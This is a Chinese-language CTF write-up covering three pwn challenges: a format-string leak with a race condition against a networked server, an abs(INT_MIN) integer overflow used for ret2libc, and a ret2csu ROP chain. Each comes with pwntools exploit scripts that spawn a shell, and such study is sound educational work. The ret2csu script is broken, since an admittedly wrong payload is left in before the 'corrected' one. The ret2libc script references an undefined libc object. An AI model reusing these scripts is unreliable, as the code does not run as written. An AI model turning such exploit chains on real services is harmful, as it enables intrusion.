玄机pwn--webpwn、abs64.ret2csu
字数 2947
更新时间 2026-03-07 10:52:08

二进制安全攻防教学:玄机平台Pwn题解(WebPwn、abs、CSU)

教学目标

本教学文档旨在详细解析阿里云先知社区发布的《玄机pwn--webpwn、abs64.ret2csu》文章中涉及的三个二进制安全挑战(Pwn)的核心原理、利用思路与解题技巧。读者将系统学习Web服务二进制漏洞、整数溢出、以及高级ROP链构造等知识。

第一题:ezpwn (WebPwn挑战)

1. 目标程序分析

这是一个带有网络后端的服务器程序(server)。客户端通过连接本地1337端口进行交互。

  • 监听端口: 1337
  • 关键结构体:程序使用一个自定义的Session结构体来管理每个会话,包含认证状态、权限标志和密钥等。
typedef struct Session {
    int32_t fd;         // 0x00 socket文件描述符
    int32_t can_cat;    // 0x04 权限标志,/tmp/priv.list文件中若包含"cat"则置1
    int32_t authed;     // 0x08 认证成功标志
    char message[64];   // 0x0C
    char secret[24];    // 0x4C 存储16-23字节的密钥
} Session;

2. 漏洞与利用思路

本题为综合性挑战,结合了格式化字符串漏洞、权限绕过和竞态条件。

  • 格式化字符串漏洞: 程序的check命令存在格式化字符串漏洞,可泄露内存信息。

    • 命令格式:check [letter],程序会输出[DEBUG] message address: 0x...,此处泄露的地址是Session结构体中message字段的地址。
    • 通过计算,secret(密钥)的地址位于message地址下方+0x40偏移处。
  • 认证绕过:

    1. 密钥生成: 密钥基于time(0) ^ getpid()作为种子,用srand()初始化,rand()生成。但服务器启动时会打印密钥及其地址,在远程利用中不可预测,需通过漏洞泄露。
    2. 泄露密钥: 利用debug命令配合格式化字符串%p%s来泄露secret字段的内容。由于存在栈对齐和传参问题,需要精确控制格式化字符串的偏移量(文中通过调试确定为第139个参数)。
    3. 认证: 使用auth [secret]命令,其中secret为泄露出的密钥字符串,认证成功后ctx->authed被置1,解锁write功能。
  • 最终提权(Cat Flag):

    • 认证后,拥有write权限,但cat flag命令仍被can_cat标志位限制。
    • 利用竞态条件:程序是多线程的。在通过认证的会话中,可以尝试写入或操作/tmp/priv.list文件(该文件控制can_cat标志)。通过多线程竞争,在服务器检查权限和实际执行cat命令的极短时间窗口内,将cat字符串写入特权文件,从而临时获得cat命令的执行权限,最终读取flag

3. 漏洞利用脚本(EXP)核心步骤

from pwn import *
# 1. 连接与初始化
p = remote('0.0.0.0', 1337)
context.arch = 'amd64'

# 2. 获取message地址,计算secret地址
p.sendlineafter(b'> ', b'check B')
p.recvuntil(b'message address: ')
msg_addr = int(p.recv(14), 16)
secret_addr = msg_addr + 0x40

# 3. 利用格式化字符串泄露secret
# 构造payload: 用多个%p定位栈,最后用%s读取secret_addr处的字符串
payload = b'debug '
payload += b'%p' * 185  # 填充至控制目标参数
payload += b'%s@@@@@@'  # 用%s读取字符串,@@@@@@用于对齐
payload += p64(secret_addr) # 将secret_addr作为地址写入栈
p.sendlineafter(b'> ', payload)
# 接收并处理泄露的密码
secret = p.recvline().strip().split(b'@@@@@@')[0] # 可能需要根据输出调整切片

# 4. 认证 (注意可能存在的末尾换行符问题)
p.sendlineafter(b'> ', b'auth ' + secret.rstrip())

# 5. 利用竞态条件执行cat flag
# ... (后续需要编写多线程竞争代码,在特定时机写入/tmp/priv.list并执行cat)
# 示例思路:一个线程循环写入"cat"到文件,另一个线程循环尝试执行"cat flag"

第二题:abs (整数溢出挑战)

1. 目标程序与漏洞

程序源码核心如下:

int get_size() {
    int size;
    scanf("%d", &size);
    size = abs(size);          // 关键点:对输入取绝对值
    return (size % 0x30) & 0xff; // 对48取模,并只返回低字节
}
int main() {
    char buf[0x30]; // 缓冲区大小48字节
    int size = get_size();
    read(0, buf, size); // 使用get_size()的返回值作为read的长度参数
    puts(buf);
}
  • 漏洞原理: 经典的abs(INT_MIN)整数溢出漏洞。
  • 数学背景:
    • 32位有符号整数int的范围是-2147483648 (INT_MIN)2147483647 (INT_MAX)
    • abs(INT_MIN) 的数学结果是2147483648,超出了INT_MAX,在补码运算中会发生溢出,结果仍然是INT_MIN(即0x80000000)。
  • 漏洞触发:
    • 输入size = -2147483648 (INT_MIN)
    • abs(INT_MIN) 结果仍为 -2147483648
    • (-2147483648 % 48) 在C语言中(商向0取整)结果为 -32
    • (-32) & 0xff 结果为 224 (即 0xE0)。
  • 后果: read(0, buf, 224),而buf大小仅48字节,导致栈缓冲区溢出。

2. 利用思路

  1. 触发溢出:发送-2147483648作为size
  2. 利用溢出:由于程序关闭了栈保护(-fno-stack-protector)和PIE(-no-pie),可直接覆盖返回地址,进行ret2libc攻击。
  3. 泄露Libc地址:通过溢出,构造ROP链调用puts打印GOT表中某个函数(如read)的地址,从而计算libc基址。
  4. 获取Shell:根据libc版本计算system和字符串/bin/sh的地址,第二次溢出执行system("/bin/sh")

3. 漏洞利用脚本框架

from pwn import *
io = process('./abs')
elf = ELF('./abs')
# 触发漏洞
io.sendlineafter(b'please input you input size\n', str(-2147483648).encode())
# 构造ROP链泄露libc地址
pop_rdi = 0x4012c3  # 示例gadget地址
payload = b'A' * (0x30 + 8)  # 填充buf和rbp
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])  # 返回到main函数进行二次溢出
io.send(payload)
# 接收泄露的地址,计算libc基址
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leaked_puts - libc.sym['puts'] # 需事先知道或获取libc版本
# 第二次溢出,执行system("/bin/sh")
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * (0x30 + 8)
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
io.sendlineafter(b'size\n', str(-2147483648).encode())
io.send(payload2)
io.interactive()

第三题:KROP2 (基本ROP与CSU利用)

1. 目标程序与漏洞

程序源码极其简单:

int main() {
    char buf[32];
    read(0, buf, 0x100u); // 明显的栈溢出,可读取0x100字节到32字节的buf中
    puts(buf);
    return 0;
}
  • 漏洞:明显的栈缓冲区溢出,read允许读取最多0x100 (256)字节数据到仅32字节的buf中。
  • 防护:题目未提供libc,但程序本身提供了system函数的PLT地址,缺/bin/sh字符串。

2. 利用思路:ret2csu

由于缺乏直接的pop rdi; ret等gadget,文章采用了__libc_csu_init中的通用gadget(ret2csu)来构造任意函数调用。

  • __libc_csu_init Gadgets:

    • csu_pop (地址如0x4012BA): 可弹出rbx, rbp, r12, r13, r14, r15,为后续调用准备参数。
    • csu_call (地址如0x4012A0): 可调用[r12 + rbx*8]指向的函数,参数为rdx=r15, rsi=r14, edi=r13d
  • 利用步骤:

    1. 第一次csu调用 - 写入/bin/sh:
      • 利用csu_pop设置寄存器,调用read函数(从elf.got['read']获取地址)。
      • 参数: rdi=0 (stdin), rsi=bss_addr (目标地址), rdx=0x10 (长度),将字符串/bin/sh读取到bss段。
    2. 第二次csu调用 - 执行system:
      • 在bss段写入/bin/sh后,通过pop rdi; ret gadget设置rdi = bss_addr/bin/sh字符串地址)。
      • 调用system的PLT地址。

3. 漏洞利用脚本

from pwn import *
io = process('./ROP2')
elf = ELF('./ROP2')
bss_addr = 0x404a00  # BSS段地址
# 1. 构造溢出payload
payload = b'A' * 0x28  # 填充 32(buf) + 8(rbp)
# 2. 第一次csu调用:使用read向bss段写入"/bin/sh\x00"
csu_pop = 0x4012BA
csu_call = 0x4012A0
payload += p64(csu_pop)
payload += p64(0)          # rbx
payload += p64(1)          # rbp,控制循环
payload += p64(0)          # r12 (占位,实际用不到call)
payload += p64(bss_addr)   # r13 -> edi (实际上read的fd=0由rdi控制,这里用pop_rdi更好,但演示csu)
payload += p64(0x10)       # r14 -> rsi (长度)
payload += p64(elf.got['read']) # r15 -> rdx (函数地址,此处有误,应为rdx的值,实际是r12存放函数地址)
# 更正:上述寄存器对应有误。标准csu利用中:
# r12 -> 被调用函数地址
# r13 -> edi (第一个参数)
# r14 -> rsi (第二个参数)
# r15 -> rdx (第三个参数)
# 因此正确构造应为:
payload += p64(csu_pop)
payload += p64(0)                 # rbx
payload += p64(1)                 # rbp
payload += p64(elf.got['read'])   # r12 -> 函数地址: read
payload += p64(0)                 # r13 -> edi: fd = 0 (stdin)
payload += p64(bss_addr)          # r14 -> rsi: buf = bss_addr
payload += p64(0x10)              # r15 -> rdx: count = 0x10
payload += p64(csu_call)          # 执行 call [r12+rbx*8]
payload += b'B'*0x38              # 填充csu_pop后的栈空间
# 3. 返回到pop_rdi; ret; 然后调用system
pop_rdi = 0x4012c3
payload += p64(pop_rdi)
payload += p64(bss_addr)          # rdi = "/bin/sh"地址
payload += p64(elf.plt['system']) # 调用system
io.send(payload)
# 4. 发送"/bin/sh\x00"字符串
io.send(b'/bin/sh\x00')
io.interactive()

: 上述EXP中寄存器设置部分根据原文描述进行了调整,实际利用时需根据二进制文件中gadlet的具体指令确认寄存器对应关系。原文EXP可能存在笔误。


知识点总结

  1. 格式化字符串漏洞:利用%p泄露地址,%s泄露字符串,需精确计算参数在栈上的偏移。
  2. 整数溢出:理解abs(INT_MIN)在补码下的行为,以及如何利用其对取模运算的影响,实现长度参数的恶意扩大。
  3. 高级ROP技术 (ret2csu):在gadget稀缺时,利用__libc_csu_init尾声部分的通用gadget控制rdi, rsi, rdx寄存器并调用任意函数。
  4. 竞态条件 (TOCTOU):在多线程/多进程环境中,利用检查(Time-Of-Check)和使用(Time-Of-Use)之间的时间窗口进行权限提升。
  5. 二进制分析基础:IDA Pro逆向、结构体还原、动态调试(GDB/Pwndbg)确定偏移和地址。

通过系统学习以上三题,可以掌握从基础栈溢出到综合性网络服务漏洞利用的完整知识链。

相似文章
相似文章
 全屏